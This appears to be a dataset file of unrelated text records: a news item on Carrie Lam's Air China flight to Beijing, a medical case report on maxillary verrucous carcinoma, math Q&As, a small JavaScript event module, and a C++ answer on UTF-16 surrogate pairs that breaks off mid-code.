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[ "Carrie Lam, Chief Executive of Hong Kong, is in Beijing for the 70th anniversary of the founding of the People's Republic of China.", "\n\nHowever, she was seen flying there using Air China instead of Hong Kong's own Cathay Pacific.", "\n\nA friendly flight\n\nLam is leading a 240-member delegation to the capital city.", "\n\nBut Twitter user @HAOHONG_CFA posted a video that showed Lam on an airplane that was supposedly not Cathay Pacific.", "\n\nThe atmosphere seemed cordial as Lam shook hands and took a selfie with a fellow passenger.", "\n\nHowever, the exact date and time of when the video was taken cannot be ascertained.", "\n\nThe caption read:\n\n\"HK Chief Executive Carrie Lam boarded flight to Beijing for the national day ceremony, shaking hands and taking selfie with fellow passengers. ", "She’s flying with Air China.\"", "\n\nHK Chief Executive Carrie Lam boarded flight to Beijing for the national day ceremony, shaking hands and taking selfie with fellow passengers. ", "She’s flying with Air China. ", "pic.twitter.com/yaSCLfnqSu — Hao HONG 洪灝, CFA (@HAOHONG_CFA) September 30, 2019\n\nReturning to Hong Kong by land to avoid airport protests\n\nAccording to Foreign Policy, Lam will return to Hong Kong by land, not by plane, allegedly to avoid protests at the airport.", "\n\nCathay Pacific has been criticised for supposedly succumbing to political pressure exerted by China.", "\n\nIt has sacked staff who supported the pro-democracy protests, and threatened more who planned to take part in a strike.", "\n\nProtests in Hong Kong while Lam is in Beijing\n\nWhile Lam is in Beijing, more protests are planned for the significant 70th anniversary celebration on Oct. 1, even if the police have not confirmed permission.", "\n\nAccording to the Hong Kong Free Press, celebrations in Hong Kong will be muted as a fireworks display has been cancelled and the flag-raising ceremony will be held indoors.", "\n\nThis is a repeat of the July 1 flag-raising ceremony, commemorating the anniversary of Hong Kong's reunification with China, although heavy rain served as a dampener for that occasion.", "\n\nTop image from @HAOHONG_CFA's Twitter." ]

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[ "Background {#Sec1}\n==========\n\nVerrucous carcinoma (VC), first reported by Ackerman in 1948, is characterized by exophytic and papillary friable lesions. ", "It is slowly growing, well differentiated, and verrucous in nature and often extensive with a tendency to invade local structures. ", "The main causes of VC are poor oral hygiene, smoking, and alcohol abuse \\[[@CR1], [@CR2]\\].", "\n\nKraus and Perezmesa reported that VC can occur in various epithelial lining, but is most common in the oral cavity, larynx, esophagus, and genitalia \\[[@CR3]\\]. ", "Verrucous carcinoma is characterized by diffuse and exophytic lesions covered by leukoplakic patches. ", "It grows slowly over several years and forms a cauliflower-like lesion 3.0--5.0 cm in size with indolent pain within a few months after turning into a small wart-like mass. ", "It shows aggressive local invasion of associated structures such as the bone and cartilage around the primary lesion and rarely spreads to the lymph nodes. ", "Verrucous carcinoma has relatively good prognosis due to its low metastatic and invasive potential and is treated by surgical excision without radical neck dissection \\[[@CR4]\\].", "\n\nCarcinoma within the bone is a very rare form of VC and often arises from odontogenic cysts (OC) \\[[@CR4]\\]. ", "Borrás-Ferreres et al. ", "reported the rate of carcinomatous transformation of OC of 0.13--3% \\[[@CR5]\\]. ", "Carcinomatous transformation of OC is characterized by pain and swelling, but may be detected on panoramic radiographs without accompanied symptoms. ", "Histologically, OC transformation to well-differentiated SCC is reported as the most common finding. ", "With regard to OC transformation to SCC, Schwimmer et al. ", "reported that 60% of SCC arose from residual or radicular cysts, 35% arose from dentigerous cysts or odontogenic keratocytes, and 11% arose from lateral periodontal cysts and other types of cysts \\[[@CR6]\\]. ", "Bodner et al. ", "reported 116 cases of primary intraosseous squamous cell carcinoma (PIOSCC) which means SCC occurring primarily in the bone that occurred at OC \\[[@CR7]\\]. ", "Primary intraosseous squamous cell carcinoma refers to carcinoma originated in the jaw as primary site of lesion and accounts for 1--2% of all OC. ", "Roughly 85% of PIOSCC is well-to-moderately differentiated SCC, and only 3% is VC. ", "VC arising from OC is a type of PIOSCC and is referred to as primary intraosseous verrucous carcinoma (PIOVC) \\[[@CR8]\\].", "\n\nVerrucous carcinoma arising from an OC is very rare, with only seven cases reported to date. ", "Diagnosis of carcinoma originating in the jaw, especially carcinoma arising from an OC, is difficult because it is necessary to determine if the carcinoma is primary, originating from another site or spreading through the alveolar bone if the carcinoma occurs on the mucous membrane, or originating from the maxillary sinus. ", "In case of carcinoma arising from an OC, it is difficult to confirm through histology that the carcinoma originated from OC. ", "Therefore, there are very few cases of carcinoma arising from OC reported to date, and VC arising from OC is extremely rare \\[[@CR9]\\].", "\n\nThis study reported a case of partial maxillectomy and neck dissection performed for VC that occurred on the labial surface of the edentulous alveolar ridge in the anterior maxilla and in the middle of the palate. ", "Facial CT imaging 8 years ago indicated that the patient had an odontogenic cystic lesion on the ipsilateral side. ", "At the time, the patient visited the emergency department at the present institution for laceration in the mental region and underwent suturing. ", "The patient underwent assessment for the presence of jaw fracture subsequent to the facial CT but was not informed regarding the prognosis of or treatment for the cystic lesion in the maxilla. ", "This case report highlighted the possibility of VC arising from a previous cystic lesion, with a comparative review of similar cases.", "\n\nCase presentation {#Sec2}\n=================\n\nA 76-year-old patient visited a private clinic in May 2016 after developing a lesion inside his mouth. ", "Incisional biopsy showed a lesion on the labial surface of the edentulous alveolar ridge in the anterior maxilla, and the patient was diagnosed with VC. ", "The patient was referred to the Department of Oral and Maxillofacial Surgery at Chonbuk National University Dental Hospital in June 2016.", "\n\nAt the time of admission, the patient showed painless exophytic verrucous proliferation measuring 2 cm × 2 cm on the labial surface of the edentulous alveolar ridge in the anterior maxilla and 1 cm × 1 cm in the middle of the palate. ", "The lesions' surfaces were covered with thick, white keratin (Fig.", " [1](#Fig1){ref-type=\"fig\"}). ", "The patient had been diagnosed with hypertension and prostatism 6 years ago, which were being controlled through medication. ", "The patient had stopped taking aspirins 3 months ago. ", "At the time of visit to the Emergency Department of Chonbuk National University Dental Hospital for laceration in the mental region 8 years ago, facial CT through referral from another department indicated the presence of cystic lesion surrounded by the unperforated cortical bone in the right anterior maxilla (Fig.", " [2](#Fig2){ref-type=\"fig\"}). ", "However, through facial CT performed at the time of the admission to the Emergency Department explained to the patient only about there was no facial bone fracture. ", "The patient reported that he had not been informed of the presence of cystic lesion in the maxilla at the time of visit to the emergency department 8 years ago and not received any treatment due to absence of symptoms. ", "The patient underwent full-mouth extraction for the remaining maxillary and mandibular teeth 3 months before visiting the private clinic and has been wearing maxillary and mandibular complete dentures since then.", "Fig. ", "1Clinical photograph showing papillary exophytic growths of the labial parts of the maxillary right anterior edentulous ridge and middle of the palateFig. ", "2Facial CT image acquired 8 years ago at the emergency room showing a well-circumscribed, corticated, expansile, unilocular, and radiolucency lesion in the right anterior maxillary area. **", "a** Axial view. **", "b** Coronal view. **", "c** Sagittal view\n\nBased on results from incisional biopsy of the lesion performed at Chonbuk National University Dental Hospital at the time of admission, the patient was diagnosed with VC. ", "Since the time of initial detection 8 years ago, the cystic lesion in the right maxilla was more widespread, with surrounding bone destruction, unclear border, and irregularly absorbed nasal mucous, anterior maxilla and palatine bones (Fig.", " [3](#Fig3){ref-type=\"fig\"}). ", "MRI test showed heterogeneous enhancement in the right maxilla with accompanied bony erosion, with invasion of the levator labii superioris muscle, and zygomatic muscle in the anterior direction (Fig.", " [4](#Fig4){ref-type=\"fig\"}). ", "Heterogeneous enhancement with maximum 1 cm radius was observed in the lymph node at the right cervical chain levels I and II, so metastasis was suspected. ", "On FDG PET/CT, an enlarged lymph node with FDG uptake was observed at the right cervical levels IB and II. ", "Supraomohyoid neck dissection (SOHND) was planned under suspicion of invasion of the neck.", "Fig. ", "3Facial CT image acquired at the first visit in 2016 showing a dome-shaped radiolucent area in the right maxilla with expansion to the nasal floor and jagged margin of the cortical bone. **", "a** Axial view. **", "b** Coronal view. **", "c** Sagittal viewFig. ", "4PET and MRI scans acquired before surgery. **", "a** 18-FDG PET/CT coronal view showing hot FDG spot on the right maxillary area. **", "b** T2-weighted MRI scan, axial view. **", "c** T2-weighted MRI scan, sagittal view\n\nFindings from chest radiographs, electrocardiograms, and blood tests presented no contraindication for general anesthesia, in addition, the chest radiographs revealed absence of specific lesions.", "\n\nIn July 2016, partial maxillectomy of the right maxilla and SOHND were performed (Fig.", " [5](#Fig5){ref-type=\"fig\"}) under general anesthesia. ", "Partial maxillectomy with safety margin of 1 cm and frozen biopsy were performed; results showed negative findings. ", "In addition, result from frozen biopsy of the enlarged lymph node showed negative findings. ", "Furacid gauze packing was performed at the site of partial maxillectomy, and a premade obturator was fixed on the maxilla through using a screw.", "Fig. ", "5Preoperative and postoperative clinical photograph. **", "a** Pre-operative image. **", "b** Excisional specimen (the right side of the maxilla, red arrow; the palatal side, yellow arrow). **", "c** Verrucous proliferation pattern can be seen on the surface of the lesion inside the bone. **", "d** At 2-years post-surgery, there is no recurrence of findings\n\nCross-sectional image of the excised right maxillary lesion showed presence of a solid mass with unclear border surrounding the tissues and with white papillary appearance. ", "In addition, the lesion on the edentulous alveolar ridge of the right anterior maxilla and the lesion in the middle of the palate was found to be a single exposed mass within the oral cavity. ", "Finally, the patient was diagnosed with VC based on the biopsy results. ", "The lesion was staged as pT4aN0 since no metastasis was observed in the lymph nodes.", "\n\nFollow-up evaluation at 6 months (Fig.", " [6](#Fig6){ref-type=\"fig\"}), 1 year (Fig.", " [7](#Fig7){ref-type=\"fig\"}), and 2 years (Fig.", " [5d](#Fig5){ref-type=\"fig\"}) after surgery revealed the absence of recurrence or metastasis.", "Fig. ", "6PET and MRI scans acquired 6 months after surgery indicate no recurrence of findings. **", "a** 18-FDG PET/CT coronal view showing only slight spots around the partial maxillectomy area due to the surgery. **", "b** T2-weighted MRI scan, axial view. **", "c** T2-weighted MRI scan, sagittal viewFig. ", "7Facial CT image acquired 1 year after surgery indicates no recurrence of findings. **", "a** Axial view. **", "b** Coronal view. **", "c** Sagittal view\n\nHistopathologic findings {#Sec3}\n------------------------\n\nAn incisional biopsy of the lesion in the right maxillary alveolar ridge performed at the present institution showed downward growth of numerous thickened and bulbous rete ridges of squamous cells. ", "With regard to biomarker testing, the lesion was p16 positive and had lower proliferation based on Ki-67 detection; as a result, the patient was initially diagnosed with VC (Fig.", " [8a](#Fig8){ref-type=\"fig\"}). ", "Histological examination performed after surgery showed epithelial cells with exophytic surfaces and prominent keratin layer arranged in compressed invaginating folds that proliferated downward (Fig.", " [8b](#Fig8){ref-type=\"fig\"}). ", "In addition, blunt club-shaped projections of hyperplastic epithelium rather than infiltration were observed, and the basal layer exhibited dysplasia and hyperplasia (Fig.", " [8c](#Fig8){ref-type=\"fig\"}). ", "Groups of epithelial cells proliferating within the maxilla associated with bony destruction was observed (Fig.", " [8d](#Fig8){ref-type=\"fig\"}). ", "Finally, the patient was diagnosed with VC based on the observation of exo-endophytic growth pattern, deep extension of thick, parakeratotic, squamous epithelial cell layer, and bulbous rete ridges with borders extending toward the adjacent tissue with locally invasive patterns.", "Fig. ", "8Histopathologic microphotographs of the specimen with hematoxylin and eosin staining. **", "a** Incisional biopsy before surgery showing downward growth of numerous thickened, bulbous rete ridges of squamous cells (× 100). **", "b** Surgical specimen showing exophytic growth pattern with prominent keratin layer arranged in compressed invaginating fold (× 50). **", "c** Hyperplastic epithelium showing blunt projections rather than infiltration of the underlying tissue with dysplasia and hyperplasia of the basal cell layer (× 50). **", "d** A group of epithelial cells proliferating within the maxillary bone with bony destruction (× 50)\n\nThe diagnosis of VC is based on histopathological findings as well as clinical symptoms, since the biopsy specimen does not always represent the full thickness of the epithelium \\[[@CR10]\\]. ", "Our patient exhibited clinical and histopathological characteristics of VC including epithelial cells with associated destruction of the bone within the maxilla and proliferation with combined dysplasia and hyperplasia. ", "Since the patient had a cystic lesion in the same area, it was concluded that the patient had VC arising from a previous cystic lesion.", "\n\nConclusions {#Sec4}\n===========\n\nThe remaining epithelium after odontogenesis proliferates and differentiates due to unknown stimuli and forms an odontogenic tumor. ", "The cysts or tumors may undergo metaplastic transformation into squamous epithelium to develop into malignant tumors \\[[@CR11]\\].", "\n\nGardner analyzed 63 cases of carcinoma arising from OC reported since the first report of carcinoma arising from OC by Herrmann until 1967 and reported that long-standing chronic inflammation is the major factor promoting the transformation of cysts to carcinoma \\[[@CR12]\\].", "\n\nIn 1971, the WHO defined primary intraosseous carcinoma as SCC within the jaw that originates from remnants of odontogenic epithelium rather than the oral mucosa \\[[@CR13]\\]. ", "Although there is controversy regarding the cause of carcinomatous transformation of OC, most studies explain that long-standing chronic inflammation may act as a malignant transformation factor, and that the connective tissue infiltration of lymphocytes and plasma cells may be the major cause of transformation.", "\n\nIn 1963, Ward and Cohen classified the causes of carcinoma arising from OC: first, metastasis of carcinoma from another site to an existing cyst; second, transformation of carcinoma into cyst; and third, malignant changes of the cyst \\[[@CR14]\\].", "\n\nGardner proposed the following criteria for SCC originating from OC in 1975: microscopy findings of transition area from benign cystic epithelial lining to invasive SCC, absence of carcinomatous changes in the overlying epithelium, and no source of carcinoma in the adjacent structures \\[[@CR12]\\]. ", "To et al. ", "proposed the following criteria for PIOSSC diagnosis in 1991: histology finding of intrabony SCC with no evidence of associated oral disease, negative finding on chest radiograph, and 6 months' survival with no evidence of occult primary or negative autopsy \\[[@CR15]\\]. ", "Suei et al. ", "explained that the possibility of occurrence of primary tumor in another site must be ruled out in order to diagnose PIOSCC \\[[@CR9]\\]. ", "However, since the causal relationship is unclear, a follow-up period of at least 6 months that includes chest radiography is necessary to rule out the possibility of lesions from another site \\[[@CR15]\\].", "\n\nMucosal changes or metastasis from another lesion should be ruled out for the diagnosis of PIOSCC arising from OC. ", "Differentiating between the origins of histologically similar PIOSCC at OC and PIOSCC that metastasized from a distant lesion such as the mucosal membrane, or that of highly advanced PIOSCC is difficult \\[[@CR16]\\]. ", "Therefore, a radiologic examination is useful for diagnosing PIOSCC. ", "A lesion with radiographic findings of surrounding bone can be assumed to be of intraosseous origin \\[[@CR9]\\].", "\n\nWhereas, OC generally presents as a round or oval radiolucent lesion with well-defined borders on radiographs; OC that has undergone malignant transformation shows jagged margins, indentations, and indistinct borders. ", "In addition, it is characterized by bony expansion with thinning of the cortex of the maxilla and mandible \\[[@CR12]\\]. ", "It also shows resorption of the adjacent dental roots in addition to bone erosion in the buccal (labial) and palatal (lingual) sides \\[[@CR17]\\].", "\n\nBodner et al. ", "reviewed 116 cases of PIOSCC \\[[@CR7]\\]. ", "However, VC arising from OC is very rare, with only seven cases reported to date (Table [1](#Tab1){ref-type=\"table\"}) \\[[@CR2], [@CR4], [@CR8], [@CR18]--[@CR21]\\].Table 1Reported cases of verrucous carcinoma arising from odontogenic cystic lesionAuthor (year)Age/sexSiteSymptomDiagnosisPrognosis, follower-up period, monthEnriquez et al. (", "1980) \\[[@CR2]\\]56/MMandiblePainless lesion, fistulous tractVC arising from OCNo recurrence or metastasis, 48Anand et al. (", "1994) \\[[@CR18]\\]46/MMaxillaDiscomfortVC arising from OKCNo recurrence or metastasis, 24Pomatto et al. (", "2001) \\[[@CR8]\\]NA/FMaxillaRecurrent swellingVC arising from DCNo recurrence or metastasis, 8Mohtasham et al. (", "2008) \\[[@CR4]\\]58/MMaxillaNon-tender on palpation, exophytic lesionVC arising from OKCNo recurrence or metastasis, 20Imaue et al. (", "2013) \\[[@CR19]\\]52/MMaxillaPainless exophytic lesionVC arising from POCNo recurrence or metastasis, NAPeng et al. (", "2015) \\[[@CR24]\\]74/MMandibleSwelling with mild painVC arising from DCNo recurrence or metastasis, 5Kamarthi et al. (", "2016) \\[[@CR21]\\]65/MMaxillaPainful swellingVC arising from OKCNo recurrence or metastasis, 6Present case (2018)76/MMaxillaPainless exophytic lesionVC arising from POCNo recurrence or metastasis, 24*VC* Verrucous carcinoma, *OC* odontogenic cyst, *OKC* odontogenic keratocyst, *DC* dentigerous cyst, *POC* previous odontogenic cystic lesion, *NA* not available\n\nTakeda reported that the risk of malignant change of OC was four times higher in the mandible than in the maxilla \\[[@CR22]\\]. ", "In addition, the risk of VC is reported to be two times higher in the mandible than in the maxilla and four times higher among men than women, with the mean age at onset of 53.9 years \\[[@CR23]\\]. ", "However, of the total eight reported cases of OC transforming to VC including the present case, six cases showed transformation in the maxilla (75%), and seven cases were male (87.5%). ", "The mean age at onset of VC was 61.0 years.", "\n\nCharacteristics of each reported case {#Sec5}\n-------------------------------------\n\nEnriquez et al. ", "reported the first case in 1980 of VC at OC in the mandible \\[[@CR2]\\]. ", "The second case was by Anand et al. ", "in 1994 on VC in the maxilla with odontogenic keratocysts \\[[@CR18]\\]. ", "The third case was reported by Pomatto et al. ", "in 2011, on VC at OC in the maxilla following tooth extraction in the left posterior maxilla; the authors claimed that VC originated from post-extraction remnants and introduced the term PIOVC \\[[@CR8]\\]. ", "The fourth case was reported by Mohtashm et al. ", "in 2008, on VC at OC in the maxilla \\[[@CR4]\\]. ", "Mohtashm et al. ", "explained that since metastasis of VC is extremely rare, surgical exicision without radical neck dissection is the best treatment option for VC. ", "The fifth case was reported by Imaue et al. ", "in 2013, on VC at OC in the maxilla \\[[@CR19]\\]. ", "Similar to the present case, a dome-shaped radiopaque mass with well-defined margins was observed in the left maxilla on radiograph, with expansion toward the maxillary sinus, nasal septum, and zygomatic arch. ", "Partial maxillectomy was performed. ", "The sixth case was reported by Peng et al. ", "in 2015, on VC at OC in the mandible \\[[@CR24]\\]. ", "Peng et al. ", "summarized all reports regarding VC and explained that since PIOVC has no recurrence or metastasis, it does not require any forms of neck dissection, and removal of primary lesion alone can lead to good prognosis. ", "The seventh case was reported by Kamarthi et al. ", "in 2016, on VC at OC in the maxilla with confirmed verrucous transformation of the cystic lining \\[[@CR21]\\].", "\n\nEarly histological findings of VC include keratin piling on the surface, with initiation of downgrowth of epithelial projections. ", "With progression of VC, club-shaped fingers of hyperplastic epithelium that gradually project into rather than infiltrate the deeper tissues are observed. ", "At this point, the epithelium is well-differentiated while the basement membrane is intact. ", "With growth of VC, cleftlike spaces with degenerating keratin project deeply. ", "Chronic inflammation of the connective tissues, plasma cells, and mononuclear cells may ensue \\[[@CR1]\\].", "\n\nOdontogenic cyst that has undergone malignant transformation is characterized by chronic infiltration of lymphocytes and plasma cells in the connective tissue of the cyst wall. ", "Cyst walls exhibit hyperplastic epithelium, and tumor cells exhibit pleomorphism and hyperchromatism. ", "Cholesterol crystal clefts may be observed, and they may invade fibrous cystic walls. ", "The cyst walls may have normal epithelial surface on some parts and naive epithelial surface on the others \\[[@CR12]\\].", "\n\nMaxymiw and Wood reported a case of OC advanced to SCC in the mandible, and based on the finding of transition of the cellular lining of the cyst wall from benign epithelium to carcinoma, it was confirmed that OC originated from carcinoma. ", "In this case, malignant transformation occurred through chronic infiltration by lymphocytes and plasma cells of the cyst walls' connective tissues. ", "Cysts are partially or fully lined with dyskeratotic squamous epithelium. ", "The stratified squamous epithelium with linings can transform to invasive SCC from the normal squamous epithelium and proliferate into the connective tissues of the cyst \\[[@CR17]\\].", "\n\nVerrucous carcinoma arising from OC is characterized by the transformation of the lining epithelium of the cyst to verrucous hyperplastic epithelium. ", "In addition, moderate chronic inflammatory cells infiltrate the fibrous cystic wall. ", "Proliferation of hyperparakeratotic-stratified squamous cyst lining epithelium can occur, and down-growth of broad and bulbous epithelial ridges with pushing-border invasion, which is generally observed in VC, can occur in the fibrous cystic wall. ", "Thick prominent rete pegs with well-preserved basement membrane and well-differentiated squamous cells which penetrate deeply into the underlying tissue are also observed. ", "Cell nuclei is prominent, and cellular pleomorphism is observed, with mild dysplasia, focal dyskeratosis, and atypical squamous cells. ", "In addition, mitotic figures of the basal and parabasal epithelial cells are observed \\[[@CR2], [@CR20]\\].", "\n\nMost reports indicate that surgical excision of the primary lesion is sufficient for VC, and VC shows higher 5-year survival rate than SCC. ", "McClure et al. ", "reported that although more aggressive excisions are necessary for large tumors, neck dissection is not necessary, since in most cases, VC is inflammatory rather than metastatic even in cases with lymphadenopathy at preoperative examinations \\[[@CR10]\\]. ", "However, Walvekar et al. ", "recommended that considering the uncertainty of pathological diagnosis in cases with suspicious lymphadenopathy, it is reasonable to perform selective neck dissection such as SOHND. ", "According to his analysis of 101 cases of VC within the oral cavity, the rate of recurrent VC was 28%, and the 5-year survival rate after surgery was 77.6% \\[[@CR23]\\].", "\n\nAckerman reported that while radiotherapy may be effective for small superficial VC, surgical excision must be accompanied for cases with VC affecting a large area \\[[@CR1]\\]. ", "Few studies have reported that irradiation of VC, which is radiosensitive, can cause high-recurrence rates and anaplastic transformation of the neoplasm leading to rapid metastatic dissemination \\[[@CR3], [@CR10]\\].", "\n\nGardner analyzed 25 cases of carcinoma arising from OC and reported patients' mortality rate of 20% within 10--24 months after surgery \\[[@CR12]\\]. ", "In studies including 27 cases each of carcinoma arising from OC, Eversole et al. ", "reported a 2-year survival rate of 53% and Schiwmmer et al. ", "that of 63% \\[[@CR6], [@CR25]\\]. ", "In a study including 116 cases, Bodner et al. ", "reported that 46% of cases with PIOSCC underwent surgery, and 38% underwent surgery and radiotherapy; follow-up revealed a 2-year survival rate of 62% and 5-year survival rate of 38%; and only 6 out of 116 cases with neck metastasis; however, despite the low rate of neck metastasis, neck dissection was performed in 59 of 116 cases (51%) \\[[@CR7]\\].", "\n\nIn the seven reported cases of VC arising from odontogenic cystic lesion, excluding the present case report, neck dissection and radiotherapy were not performed. ", "In this case report, neck dissection was performed due to PET/MRI characteristic of enlarged lymph node, but radiotherapy was not performed. ", "Surgical excision of the primary lesion led to good prognosis. ", "As suggested by the criteria, VC which is less malignant than SCC, with primary lesion in the jaw without distant lesion, low metastatic potential, and low recurrence rate may lead to good prognosis.", "\n\nOur patient showed cystic lesion surrounded by the cortical bone at the site of carcinoma since 8 years ago, clear histological characteristics of VC, bony destruction of the maxilla, and cancer cell infiltration of the jaw; based on these findings, the patient was diagnosed with PIOVC. ", "However, based on the diagnostic criteria for PIOSCC, the presence of radiolucent cystic lesions at the site of VC observed 8 years ago, characteristics of the carcinoma cells differentiating within the bone, and absence of distant lesion, as well as previous reports, the patient was diagnosed with VC arising from odontogenic cystic lesion.", "\n\nIn conclusion, this case report highlights that patients with OC must be promptly diagnosed and managed due to the possibility of malignant transformation of OC. ", "Careful monitoring of lesions through CT is necessary for patients with OC. ", "In addition, their prognosis must be carefully observed through regular follow-up x-ray examination.", " As reported in previous studies, surgical excision of the primary lesion without neck dissection can lead to good prognosis of PIOVC. ", "However, if a patient exhibits combined lymphadenopathy, the possibility of future occurrence of metastasis must be completely eliminated through selective neck dissection.", "\n\n18-FDG PET/CT\n\n: Positron emission tomography with 2-deoxy-2-fluorine-18-fluoro- D-glucose integrated with computed tomography\n\nCT\n\n: Computed tomography\n\nMRI\n\n: Magnetic resonance imaging\n\nOC\n\n: Odontogenic cyst\n\nPIOSCC\n\n: Primary intraosseous squamous cell carcinoma\n\nPIOVC\n\n: Primary intraosseous verrucous carcinoma\n\nSOHND\n\n: Supraomohyoid neck dissection\n\nVC\n\n: Verrucous carcinoma\n\nWe thank Professor Nampyo Cho for assistance with histologic findings.", "\n\nDHL performed the surgery and reviewed the manuscript; SHK participated in the operation as primary care physician, reviewed the literature, and wrote the manuscript. ", "Both authors read and approved the final manuscript.", "\n\nEthics approval and consent to participate {#FPar1}\n==========================================\n\nWritten informed consent was obtained from the patient for publication of this case report and accompanying images.", "\n\nConsent for publication {#FPar2}\n=======================\n\nThe patient consented to the publication of this case report.", "\n\nCompeting interests {#FPar3}\n===================\n\nThe authors declare that they have no competing interests.", "\n\nPublisher's Note {#FPar4}\n================\n\nSpringer Nature remains neutral with regard to jurisdictional claims in published maps and institutional affiliations.", "\n" ]

{ "pile_set_name": "PubMed Central" }

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[ "Q:\n\nProve a sequence converges using the definition of a limit?", "\n\nHere is the sequence:\n$$a_n = \\frac{n^2}{cn^2 + 1} \\mbox{ where } c < 0.$$\nIf I prove this function has a limit using the limit definition, as $n$ goes to infinity, does that prove the sequence converges?", "\n\nA:\n\nYes If you are able to find a real number to which the sequence approaches as n tends to infinity the sequence then you can say that the sequence converges.", "\nI think,you can see directly this from the definition of a \"Convergent Sequence\" \nRead this page I think it will clear all your doubts http://en.wikipedia.org/wiki/Limit_of_a_sequence\n\n" ]

{ "pile_set_name": "StackExchange" }

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[ "Q:\n\nUnderstanding proof that $\\operatorname{Ext}^1(P, M)=0\\; \\forall M$ implies $P$ is projective\n\nThe claim is, that if $\\operatorname{Ext}^1_R(P, M) =0$ for any R-module M, then P is a projective module.", "\nI found a proof here, but I don't understand what happens after the word \"clearly\".", "\n\nAssume $\\operatorname{Ext}^1_R(P, M)=0$ for any $R$-module $M$. Pick a free resolution $F_{*} \\to P$. Set $M = \\operatorname{im}(F_1 \\to F_0) = \\ker (F_0 \\to P)$. Consider an element $\\xi \\in \\operatorname{Ext}^1_R(P, M)$ given by the class of the quotient map $\\pi: F_1 \\to M$. Since $\\xi$ is zero, there exists a map $s: F_0 \\to M$ such that $\\pi = s \\circ (F_1 \\to F_0)$. Clearly, this means that \n $$ F_0 = \\ker(s) \\oplus \\ker(F_0 \\to P) = P \\oplus \\ker(F_0 \\to P) $$ and so $P$ is projective.", "\n\nSo, I have two questions: firstly, why $F_0$ decomposes in a direct sum? ", "I can only see that $F_0 / \\ker (s) = M = \\ker(F_0 \\to P)$ (since surjectivity of $\\pi$ implies that of $s$)\nAnd secondly, why is $\\ker(s) = P$? ", "$P$ and $s$ seem to be unrelated.", "\n\nA:\n\nYou have that $\\pi = s \\circ (F_1 \\rightarrow F_0)$. Since $F_1 \\rightarrow F_0$ acts in the same way as $\\pi$ we have that $s$ acts identically on $M$. That means that $F_0 = M \\oplus \\ker s$. Now we need to prove that $\\ker s$ is canonically isomorphic to $P$. That is obvious since $M = \\ker (F_0 \\rightarrow P)$ and $\\ker s \\sim F_0 / M \\sim P$.\n\n" ]

{ "pile_set_name": "StackExchange" }

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[ "'use strict';\n\nvar inherits = require('inherits')\n , Event = require('./event')\n ;\n\nfunction CloseEvent() {\n Event.call(this);\n this.initEvent('close', false, false);\n this.wasClean = false;\n this.code = 0;\n this.reason = '';\n}\n\ninherits(CloseEvent, Event);\n\nmodule.exports = CloseEvent;\n" ]

{ "pile_set_name": "Github" }

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[ "Q:\n\nHow to convert between a Unicode/UCS codepoint and a UTF16 surrogate pair?", "\n\nHow to convert back and forth between a Unicode/UCS codepoint and a UTF16 surrogate pair in C++14 and later?", "\nEDIT: Removed mention of UCS-2 surrogates, as there is no such thing. ", "Thanks @remy-lebeau!", "\n\nA:\n\nThe surrogate-pairs tag info page explains (better than specified by the Unicode Standard 9.0 in §3.9, Table 3-5.) ", "the algorithm to convert from codepoint to surrogate pair as follows:\n\nUnicode characters outside the Basic Multilingual Plane, that is characters with code above 0xFFFF, are encoded in UTF-16 by pairs of 16-bit code units called surrogate pairs, by the following scheme:\n\n0x010000 is subtracted from the code point, leaving a 20-bit number in the range 0..0x0FFFFF;\nthe top ten bits (a number in the range 0..0x03FF) are added to 0xD800 to give the first code unit or high surrogate, which will be in the range 0xD800..0xDBFF;\nthe low ten bits (also in the range 0..0x03FF) are added to 0xDC00 to give the second code unit or low surrogate, which will be in the range 0xDC00..0xDFFF.", "\n\nIn C++14 and later this could be written as:\n#include <cstdint>\n\nusing codepoint = std::uint32_t;\nusing utf16 = std::uint16_t;\n\nstruct surrogate {\n utf16 high; // Leading\n utf16 low; // Trailing\n};\n\nconstexpr surrogate split(codepoint const in) noexcept {\n auto const inMinus0x10000 = (in - 0x10000);\n surrogate const r{\n static_cast<utf16>((inMinus0x10000 / 0x400) + 0xd800), // High\n static_cast<utf16>((inMinus0x10000 % 0x400) + 0xdc00)}; // Low\n return r;\n}\n\nIn the reverse direction one just has to combine the last 10 bits from the high surrogate and the last 10 bits from the low surrogate, and add 0x10000:\nconstexpr codepoint combine(surrogate const s) noexcept {\n return static_cast<codepoint>(\n ((s.high - 0xd800) * 0x400) + (s.low - 0xdc00) + 0x10000);\n}\n\nHere's a test for these conversions:\n#include <cassert>\n\nconstexpr bool isValidUtf16Surrogate(utf16 v) noexcept\n{ return (v & 0xf800) == 0xd800; }\n\nconstexpr bool isValidCodePoint(codepoint v) noexcept {\n return (v <= 0x10ffff)\n && ((v >= 0x10000) || !", "isValidUtf16Surrogate(static_cast<utf16>(v)));\n}\n\nconstexpr bool isValidUtf16HighSurrogate(utf16 v) noexcept\n{ return (v & 0xfc00) == 0xd800; }\n\nconstexpr bool isValidUtf16LowSurrogate(utf16 v) noexcept\n{ return (v & 0xfc00) == 0xdc00; }\n\nconstexpr bool codePointNeedsUtf16Surrogates(codepoint v) noexcept\n{ return (v >= 0x10000) && (v <= 0x10ffff); }\n\nvoid test(codepoint const in) {\n assert(isValidCodePoint(in));\n assert(codePointNeedsUtf16Surrogates(in));\n auto const s = split(in);\n assert(isValidUtf16HighSurrogate(s.high));\n assert(isValidUtf16LowSurrogate(s.low));\n auto const out = combine(s);\n assert(isValidCodePoint(out));\n assert(in == out);\n}\n\nint main() {\n for (codepoint c = 0x10000; c <= 0x10ffff; ++c)\n test(c);\n}\n\nA:\n\nIn C++11 and later, you can use std::wstring_convert to convert between various UTF/UCS encodings, using the following std::codecvt types:\n\nUTF-8 <-> UCS-2:\nstd::codecvt_utf8<char16_t>\nUTF-8 <-> UTF-16:\nstd::codecvt_utf8_utf16\nUTF-8 <-> UTF-32/UCS-4:\nstd::codecvt_utf8<char32_t>\nUCS-2 <-> UTF-16:\nstd::codecvt_utf16<char16_t>\nUTF-16 <-> UTF-32/UCS-4:\nstd::codecvt_utf16<char32_t>\nUCS-2 <-> UTF-32/UCS-4:\nno standard conversion, but you can write your own std::codecvt class for it if needed. ", " Otherwise, use one of the above conversions in between:\nUCS-2 <-> UTF-X <-> UTF-32/UCS-4\n\nYou don't need to handle surrogates manually.", "\nYou can use std::u32string to hold your codepoint(s), and std::u16string to hold your UTF-16/UCS-2 codeunits.", "\nFor example:\nusing convert_utf16_uf32 = std::wstring_convert<std::codecvt_utf16<char32_t>, char16_t>;\n\nstd::u16string CodepointToUTF16(const char32_t codepoint)\n{\n const char32_t *p = &codepoint;\n return 